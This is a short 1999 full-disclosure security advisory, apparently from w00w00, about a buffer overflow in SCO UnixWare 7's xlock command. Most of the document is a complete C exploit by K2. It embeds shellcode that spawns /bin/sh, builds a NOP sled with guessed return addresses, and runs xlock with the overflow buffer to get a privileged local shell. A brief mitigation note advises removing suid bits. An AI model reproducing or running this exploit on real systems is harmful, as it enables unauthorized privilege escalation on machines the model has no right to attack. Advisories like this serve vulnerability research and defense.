w00w00 Security Development (WSD) http://www.w00w00.org/advisories.html Discovered by: K2 (ktwoat_private) The xlock command on SCO's UnixWare 7 has improper bounds checking on the username passed (via argv[1]), which can cause a buffer overflow when a lengthy username is passed. ----------------------------------------------------------------------------- Exploit (by K2): // UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999 #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> char shell[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; #define SIZE 1200 #define NOPDEF 601 #define DEFOFF -400 const char x86_nop=0x90; long nop=NOPDEF,esp; long offset=DEFOFF; char buffer[SIZE]; long get_esp() { __asm__("movl %esp,%eax"); } int main (int argc, char *argv[]) { register int i; if (argc > 1) offset += strtol(argv[1], NULL, 0); if (argc > 2) nop += strtoul(argv[2], NULL, 0); esp = get_esp(); memset(buffer, x86_nop, SIZE); memcpy(buffer+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i < SIZE-4; i += 4) *((int *) &buffer[i]) = esp+offset; printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset); execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL); printf("exec failed!\n"); return 0; } ----------------------------------------------------------------------------- Patch: As stated in the previous advisory, wait for SCO to release a patch. Because of the /var/sadm permissions vulnerability we published earlier hasn't been fixed yet, be sure you take off suid privileges on the backed up binary! =) ----------------------------------------------------------------------------- Hellos to the usuals
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